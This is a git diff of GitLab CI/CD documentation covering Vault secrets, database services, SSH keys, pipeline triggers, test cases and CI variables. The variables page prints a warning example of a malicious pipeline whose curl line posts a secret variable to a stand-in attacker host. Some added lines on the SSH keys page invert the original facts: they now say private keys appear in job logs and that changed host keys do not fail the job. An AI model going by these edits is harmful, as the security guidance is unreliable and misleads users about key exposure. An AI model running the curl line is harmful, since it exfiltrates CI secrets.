--- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -42,7 +42,7 @@ is summarized by this diagram: 1. HashiCorp Vault returns the token. 1. Runner reads secrets from the HashiCorp Vault. -NOTE: **Note:** +NOTE: Read the [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial for a version of this feature. It's available to all subscription levels, supports writing secrets to and deleting secrets from Vault, @@ -89,7 +89,7 @@ To configure your Vault server: specified when the authentication method was configured. - `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`. - NOTE: **Note:** + NOTE: Support for [providing these values in the user interface](https://gitlab.com/gitlab-org/gitlab/-/issues/218677) is planned but not yet implemented. @@ -155,7 +155,7 @@ $ vault write auth/jwt/role/myproject-production - <<EOF EOF ``` -CAUTION: **Caution:** +WARNING: Always restrict your roles to a project or namespace by using one of the provided claims like `project_id` or `namespace_id`. Without these restrictions, any JWT generated by this GitLab instance may be allowed to authenticate using this role. diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md index fda453b7aa0..71c2be70de3 100644 --- a/doc/ci/services/README.md +++ b/doc/ci/services/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- diff --git a/doc/ci/services/docker-services.md b/doc/ci/services/docker-services.md index fdd38ed4c4e..e4653cdc9e2 100644 --- a/doc/ci/services/docker-services.md +++ b/doc/ci/services/docker-services.md @@ -3,3 +3,6 @@ redirect_to: 'README.md' --- This document was moved to [another location](README.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index bbab1194191..1595907184e 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -67,7 +67,7 @@ GitLab Runner with the Shell executor. 1. Choose a MySQL root password and type it twice when asked. - NOTE: **Note:** + NOTE: As a security measure, you can run `mysql_secure_installation` to remove anonymous users, drop the test database, and disable remote logins by the root user. @@ -78,7 +78,7 @@ GitLab Runner with the Shell executor. mysql -u root -p ``` -1. Create a user (in this case, `runner`) that will be used by your +1. Create a user (in this case, `runner`) that is used by your application. Change `$password` in the command to a strong password. At the `mysql>` prompt, type: diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 96552ab1245..d37875e1e05 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -1,13 +1,13 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Using PostgreSQL -As many applications depend on PostgreSQL as their database, you will +As many applications depend on PostgreSQL as their database, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -70,10 +70,10 @@ The next step is to create a user, so sign in to PostgreSQL: sudo -u postgres psql -d template1 ``` -Then create a user (in our case `runner`) which will be used by your +Then create a user (in our case `runner`) which is used by your application. Change `$password` in the command below to a real strong password. -NOTE: **Note:** +NOTE: Be sure to not enter `template1=#` in the following commands, as that's part of the PostgreSQL prompt. @@ -106,7 +106,7 @@ psql -U runner -h localhost -d nice_marmot -W ``` This command explicitly directs `psql` to connect to localhost to use the md5 -authentication. If you omit this step, you'll be denied access. +authentication. If you omit this step, you are denied access. Finally, configure your application to use the database, for example: @@ -124,4 +124,4 @@ convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md index 77668d9104b..71d3ffb1c60 100644 --- a/doc/ci/services/redis.md +++ b/doc/ci/services/redis.md @@ -1,13 +1,13 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Using Redis -As many applications depend on Redis as their key-value store, you will +As many applications depend on Redis as their key-value store, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -30,7 +30,7 @@ example: Host: redis ``` -And that's it. Redis will now be available to be used within your testing +And that's it. Redis is now available to be used within your testing framework. You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/redis). @@ -70,4 +70,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index a329331df08..a5410d53a95 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -36,7 +36,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) `~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys) if you are accessing a private GitLab repository. -The private key will not be displayed in the job log, unless you enable +The private key is displayed in the job log, unless you enable [debug logging](../variables/README.md#debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). @@ -46,7 +46,7 @@ When your CI/CD jobs run inside Docker containers (meaning the environment is contained) and you want to deploy your code in a private server, you need a way to access it. This is where an SSH key pair comes in handy. -1. You will first need to create an SSH key pair. For more information, follow +1. You first need to create an SSH key pair. For more information, follow the instructions to [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair). **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. @@ -144,9 +144,9 @@ For accessing repositories on GitLab.com, you would use `git@gitlab.com`. ## Verifying the SSH host keys It is a good practice to check the private server's own public key to make sure -you are not being targeted by a man-in-the-middle attack. In case anything -suspicious happens, you will notice it since the job would fail (the SSH -connection would fail if the public keys would not match). +you are not being targeted by a man-in-the-middle attack. If anything +suspicious happens, you notice it because the job fails (the SSH +connection fails when the public keys don't match). To find out the host keys of your server, run the `ssh-keyscan` command from a trusted network (ideally, from the private server itself): @@ -165,12 +165,12 @@ Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables If you need to connect to multiple servers, all the server host keys need to be collected in the **Value** of the variable, one key per line. -TIP: **Tip:** +NOTE: By using a variable instead of `ssh-keyscan` directly inside `.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` if the host domain name changes for some reason. Also, the values are predefined -by you, meaning that if the host keys suddenly change, the CI/CD job will fail, -and you'll know there's something wrong with the server or the network. +by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, +so there's something wrong with the server or the network. Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the [content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor) @@ -209,4 +209,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes is picked by a public runner and the job starts. diff --git a/doc/ci/test_cases/img/test_case_list_v13_6.png b/doc/ci/test_cases/img/test_case_list_v13_6.png Binary files differnew file mode 100644 index 00000000000..b5d89582558 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_list_v13_6.png diff --git a/doc/ci/test_cases/img/test_case_show_v13_6.png b/doc/ci/test_cases/img/test_case_show_v13_6.png Binary files differnew file mode 100644 index 00000000000..bbd7601cf30 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_show_v13_6.png diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md new file mode 100644 index 00000000000..6385b1638ff --- /dev/null +++ b/doc/ci/test_cases/index.md @@ -0,0 +1,80 @@ +--- +stage: Plan +group: Certify +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +description: Test cases in GitLab can help your teams create testing scenarios in their existing development platform. +type: reference +--- + +# Test Cases **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233479) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/241983) in GitLab 13.7. + +Test cases in GitLab can help your teams create testing scenarios in their existing development platform. + +This can help the Implementation and Testing teams collaborate, because they no longer have to +use external test planning tools, which require additional overhead, context switching, and expense. + +## Create a test case + +Users with Reporter or higher [permissions](../../user/permissions.md) can create test cases. + +To create a test case in a GitLab project: + +1. Navigate to **CI/CD > Test Cases**. +1. Select the **New test case** button. You are taken to the new test case form. Here you can enter + the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). +1. Select the **Submit test case** button. You are taken to view the new test case. + +## View a test case + +You can view all test cases in the project in the Test Cases list. Filter the +issue list with a search query, including labels or the test case's title. + +Users with Guest or higher [permissions](../../user/permissions.md) can view test cases. + + + +To view a test case: + +1. In a project, navigate to **CI/CD > Test Cases**. +1. Select the title of the test case you want to view. You are taken to the test case page. + + + +## Edit a test case + +You can edit a test case's title and description. + +Users with Reporter or higher [permissions](../../user/permissions.md) can edit test cases. +Users demoted to the Guest role can continue to edit the test cases they created +when they were in the higher role. + +To edit a test case: + +1. [View a test case](#view-a-test-case). +1. Select **Edit title and description** (**{pencil}**). +1. Edit the test case's title or description. +1. Select **Save changes**. + +## Archive a test case + +When you want to stop using a test case, you can archive it. You can [reopen an archived test case](#reopen-an-archived-test-case) later. + +Users with Reporter or higher [permissions](../../user/permissions.md) can archive test cases. + +To archive a test case, on the test case's page, select the **Archive test case** button. + +To view archived test cases: + +1. Navigate to **CI/CD > Test Cases**. +1. Select **Archived**. + +## Reopen an archived test case + +If you decide to start using an archived test case again, you can reopen it. + +Users with Reporter or higher [permissions](../../user/permissions.md) can reopen test cases. + +To reopen an archived test case, on the test case's page, select **Reopen test case**. diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 6fca482975c..2e7ec58f048 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -1,11 +1,11 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- -# Triggering pipelines through the API +# Triggering pipelines through the API **(CORE)** Triggers can be used to force a pipeline rerun of a specific `ref` (branch or tag) with an API call. @@ -32,7 +32,7 @@ This also applies when using the `pipelines` or `triggers` keywords with the leg A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger). -DANGER: **Warning:** +WARNING: Passing plain text tokens in public projects is a security issue. Potential attackers can impersonate the user that exposed their trigger token publicly in their `.gitlab-ci.yml` file. Use [variables](../variables/README.md#gitlab-cicd-environment-variables) @@ -56,7 +56,7 @@ and it creates a dependent pipeline relation visible on the build_docs: stage: deploy script: - - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline + - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" only: - tags ``` @@ -96,7 +96,7 @@ Read more about the [jobs API](../../api/job_artifacts.md#download-the-artifacts ## Adding a new trigger Go to your -**Settings ➔ CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates +**Settings > CI/CD** under **Triggers** to add a new trigger. The **Add trigger** button creates a new token which you can then use to trigger a rerun of this particular project's pipeline. @@ -109,12 +109,12 @@ overview of the time the triggers were last used. ## Revoking a trigger You can revoke a trigger any time by going at your project's -**Settings ➔ CI/CD** under **Triggers** and hitting the **Revoke** button. +**Settings > CI/CD** under **Triggers** and hitting the **Revoke** button. The action is irreversible. ## Triggering a pipeline -To trigger a job you need to send a `POST` request to GitLab's API endpoint: +To trigger a job you need to send a `POST` request to the GitLab API endpoint: ```plaintext POST /projects/:id/trigger/pipeline @@ -126,7 +126,7 @@ branches or tags. The `:id` of a project can be found by [querying the API](../../api/projects.md) or by visiting the **CI/CD** settings page which provides self-explanatory examples. -When a rerun of a pipeline is triggered, the information is exposed in GitLab's +When a rerun of a pipeline is triggered, the information is exposed in the GitLab UI under the **Jobs** page and the jobs are marked as triggered 'by API'.  @@ -143,7 +143,7 @@ By using cURL you can trigger a pipeline rerun with minimal effort, for example: curl --request POST \ --form token=TOKEN \ --form ref=master \ - https://gitlab.example.com/api/v4/projects/9/trigger/pipeline + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` In this case, the project with ID `9` gets rebuilt on `master` branch. @@ -164,7 +164,7 @@ need to add in project A's `.gitlab-ci.yml`: build_docs: stage: deploy script: - - "curl --request POST --form token=TOKEN --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" + - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' only: - tags ``` @@ -244,7 +244,7 @@ curl --request POST \ --form token=TOKEN \ --form ref=master \ --form "variables[UPLOAD_TO_S3]=true" \ - https://gitlab.example.com/api/v4/projects/9/trigger/pipeline + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` Trigger variables have the [highest priority](../variables/README.md#priority-of-environment-variables) @@ -257,10 +257,10 @@ in conjunction with cron. The example below triggers a job on the `master` branch of project with ID `9` every night at `00:30`: ```shell -30 0 * * * curl --request POST --form token=TOKEN --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline +30 0 * * * curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -This behavior can also be achieved through GitLab's UI with +This behavior can also be achieved through the GitLab UI with [pipeline schedules](../pipelines/schedules.md). ## Legacy triggers @@ -268,5 +268,13 @@ This behavior can also be achieved through GitLab's UI with Old triggers, created before GitLab 9.0 are marked as legacy. Triggers with the legacy label do not have an associated user and only have -access to the current project. They are considered deprecated and will be +access to the current project. They are considered deprecated and might be removed with one of the future versions of GitLab. + +## Troubleshooting + +### '404 not found' when triggering a pipeline + +A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused +by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger) +and use that token to authenticate when triggering a pipeline. diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 5dc1d3663c5..9cda1f14b01 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -197,6 +197,7 @@ latest commit yet. This might be because: - GitLab hasn't finished creating the pipeline yet. - You are using an external CI service and GitLab hasn't heard back from the service yet. - You are not using CI/CD pipelines in your project. +- You are using CI/CD pipelines in your project, but your configuration prevented a pipeline from running on the source branch for your merge request. - The latest pipeline was deleted (this is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/214323)). After the pipeline is created, the message updates with the pipeline status. diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index 0a1f0000969..2505e56356d 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -1,7 +1,7 @@ --- stage: Verify group: Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -65,6 +65,39 @@ execution time and the error output.  +### Number of recent failures + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241759) in GitLab 13.7. +> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-number-of-recent-failures). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +If a test failed in the project's default branch in the last 14 days, a message like +`Failed {n} time(s) in {default_branch} in the last 14 days` is displayed for that test. + +#### Enable or disable the number of recent failures **(CORE ONLY)** + +Displaying the number of failures in the last 14 days is under development and not +ready for production use. It is deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:test_failure_history) +``` + +To disable it: + +```ruby +Feature.disable(:test_failure_history) +``` + ## How to set it up To enable the Unit test reports in merge requests, you need to add diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index c5eee2ed960..f4ca51be151 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -142,7 +142,7 @@ Here is a simplified example of a malicious `.gitlab-ci.yml`: ```yaml build: script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` ### Custom environment variables of type Variable @@ -243,7 +243,7 @@ Some variables are listed in the UI so you can choose them more quickly. | `AWS_DEFAULT_REGION` | Any | 12.10 | | `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | -CAUTION: **Caution:** +WARNING: When you store credentials, there are security implications. If you are using AWS keys, for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). @@ -259,7 +259,7 @@ To access environment variables, use the syntax for your runner's [shell](https: |----------------------|------------------------------------------| | bash/sh | `$variable` | | PowerShell | `$env:variable` (primary) or `$variable` | -| Windows Batch | `%variable%` | +| Windows Batch | `%variable%`, or `!variable!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html), which can be used for variables that contain white spaces or newlines. | ### Bash @@ -415,7 +415,7 @@ You can define per-project or per-group variables that are set in the pipeline e We recommend using group environment variables to store secrets (like passwords, SSH keys, and credentials) for Premium users who: - Do **not** use an external key store. -- Use GitLab's [integration with HashiCorp Vault](../secrets/index.md). +- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). Group-level variables can be added by: @@ -442,7 +442,7 @@ You can define instance-level variables via the UI or [API](../../api/instance_l To add an instance-level variable: -1. Navigate to your admin area's **Settings > CI/CD** and expand the **Variables** section. +1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. 1. Click the **Add variable** button, and fill in the details: - **Key**: Must be one line, using only letters, numbers, or `_` (underscore), with no spaces. @@ -590,7 +590,7 @@ variables](../../topics/autodevops/customize.md#application-secret-variables) ar then available as environment variables on the running application container. -CAUTION: **Caution:** +WARNING: Variables with multi-line values are not supported due to limitations with the Auto DevOps scripting environment. @@ -798,7 +798,7 @@ deploy_staging: - if: '$RELEASE =~ $STAGINGRELS' ``` -NOTE: **Note:** +NOTE: The available regular expression syntax is limited. See [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35438) for more details. @@ -825,7 +825,7 @@ testvariable: > Introduced in GitLab Runner 1.7. -CAUTION: **Warning:** +WARNING: Enabling debug tracing can have severe security implications. The output **will** contain the content of all your variables and any other secrets! The output **will** be uploaded to the GitLab server and made visible @@ -844,6 +844,50 @@ Before enabling this, you should ensure jobs are visible to also [erase](../jobs/index.md#view-jobs-in-a-pipeline) all generated job logs before making them visible again. +### Restricted access to debug logging + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. +> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-restricted-access-to-debug-logging). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +With restricted access to debug logging, only users with +[developer or higher permissions](../../user/permissions.md#project-members-permissions) +can view job logs when debug logging is enabled with a variable in: + +- The [`.gitlab-ci.yml` file](#gitlab-ciyml-defined-variables). +- The CI/CD variables set within the GitLab UI. + +WARNING: +If you add `CI_DEBUG_TRACE` as a local variable to your runners, debug logs are visible +to all users with access to job logs. The permission levels are not checked by Runner, +so you should make use of the variable in GitLab only. + +#### Enable or disable Restricted access to debug logging **(CORE ONLY)** + +Restricted Access to Debug logging is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:restrict_access_to_build_debug_mode) +``` + +To disable it: + +```ruby +Feature.disable(:restrict_access_to_build_debug_mode) +``` + +### Enable Debug logging + To enable debug logs (traces), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml diff --git a/doc/ci/variables/deprecated_variables.md b/doc/ci/variables/deprecated_variables.md index 71e2b5b2e44..755e34fa5ca 100644 --- a/doc/ci/variables/deprecated_variables.md +++ b/doc/ci/variables/deprecated_variables.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -17,7 +17,7 @@ To follow conventions of naming across GitLab, and to further move away from the release. Starting with GitLab 9.0, we have deprecated the `$CI_BUILD_*` variables. **You are -strongly advised to use the new variables as we will remove the old ones in +strongly advised to use the new variables as we might remove the old ones in future GitLab releases.** | 8.x name | 9.0+ name | diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 055cb2f6a61..ba0a5e8f461 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -14,7 +14,7 @@ Some of the predefined environment variables are available only if a minimum version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the version of GitLab Runner that's required. -NOTE: **Note:** +NOTE: Starting with GitLab 9.0, we have deprecated some variables. Read the [9.0 Renaming](deprecated_variables.md#gitlab-90-renamed-variables) section to find out their replacements. **To avoid problems with deprecated and removed variables in future releases, you are strongly advised to use the new variables.** @@ -40,7 +40,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_COMMIT_REF_SLUG` | 9.0 | all | `$CI_COMMIT_REF_NAME` lowercased, shortened to 63 bytes, and with everything except `0-9` and `a-z` replaced with `-`. No leading / trailing `-`. Use in URLs, host names and domain names. | | `CI_COMMIT_SHA` | 9.0 | all | The commit revision for which project is built | | `CI_COMMIT_SHORT_SHA` | 11.7 | all | The first eight characters of `CI_COMMIT_SHA` | -| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present in branch pipelines, including pipelines for the default branch. Not present in merge request pipelines. | +| `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present in branch pipelines, including pipelines for the default branch. Not present in merge request pipelines or tag pipelines. | | `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. | | `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message | | `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. | @@ -49,6 +49,10 @@ Kubernetes-specific environment variables are detailed in the | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` | | `CI_DEBUG_TRACE` | all | 1.7 | Whether [debug logging (tracing)](README.md#debug-logging) is enabled | | `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the default branch for the project. | +| `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The image prefix for pulling images through the Dependency Proxy. | +| `CI_DEPENDENCY_PROXY_SERVER` | 13.7 | all | The server for logging in to the Dependency Proxy. This is equivelant to `$CI_SERVER_HOST:$CI_SERVER_PORT`. | +| `CI_DEPENDENCY_PROXY_PASSWORD` | 13.7 | all | The password to use to pull images through the Dependency Proxy. | +| `CI_DEPENDENCY_PROXY_USER` | 13.7 | all | The username to use to pull images through the Dependency Proxy. | | `CI_DEPLOY_FREEZE` | 13.2 | all | Included with the value `true` if the pipeline runs during a [deploy freeze window](../../user/project/releases/index.md#prevent-unintentional-releases-by-setting-a-deploy-freeze). | | `CI_DEPLOY_PASSWORD` | 10.8 | all | Authentication password of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), only present if the Project has one related. | | `CI_DEPLOY_USER` | 10.8 | all | Authentication username of the [GitLab Deploy Token](../../user/project/deploy_tokens/index.md#gitlab-deploy-token), only present if the Project has one related. | @@ -64,6 +68,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request if [the pipelines are for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). Available only if `only: [external_pull_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the pull request is open. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request if [the pipelines are for external pull requests](../ci_cd_for_external_repos/index.md#pipelines-for-external-pull-requests). Available only if `only: [external_pull_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the pull request is open. | | `CI_HAS_OPEN_REQUIREMENTS` | 13.1 | all | Included with the value `true` only if the pipeline's project has any open [requirements](../../user/project/requirements/index.md). Not included if there are no open requirements for the pipeline's project. | +| `CI_OPEN_MERGE_REQUESTS` | 13.7 | all | Contains a comma-delimited list of up to 4 Merge Requests from the current source project and branch in the form `gitlab-org/gitlab!333,gitlab-org/gitlab-foss!11` | | `CI_JOB_ID` | 9.0 | all | The unique ID of the current job that GitLab CI/CD uses internally | | `CI_JOB_IMAGE` | 12.9 | 12.9 | The name of the image running the CI job | | `CI_JOB_MANUAL` | 8.12 | all | The flag to indicate that job was manually started | @@ -92,13 +97,15 @@ Kubernetes-specific environment variables are detailed in the | `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | 11.9 | all | The HEAD SHA of the target branch of the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used, the merge request is created, and the pipeline is a [merged result pipeline](../merge_request_pipelines/pipelines_for_merged_results/index.md). **(PREMIUM)** | | `CI_MERGE_REQUEST_TITLE` | 11.9 | all | The title of the merge request if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Available only if `only: [merge_requests]` or [`rules`](../yaml/README.md#rules) syntax is used and the merge request is created. | | `CI_MERGE_REQUEST_EVENT_TYPE` | 12.3 | all | The event type of the merge request, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). Can be `detached`, `merged_result` or `merge_train`. | +| `CI_MERGE_REQUEST_DIFF_ID` | 13.7 | all | The version of the merge request diff, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). | +| `CI_MERGE_REQUEST_DIFF_BASE_SHA` | 13.7 | all | The base SHA of the merge request diff, if [the pipelines are for merge requests](../merge_request_pipelines/index.md). | | `CI_NODE_INDEX` | 11.5 | all | Index of the job in the job set. If the job is not parallelized, this variable is not set. | | `CI_NODE_TOTAL` | 11.5 | all | Total number of instances of this job running in parallel. If the job is not parallelized, this variable is set to `1`. | 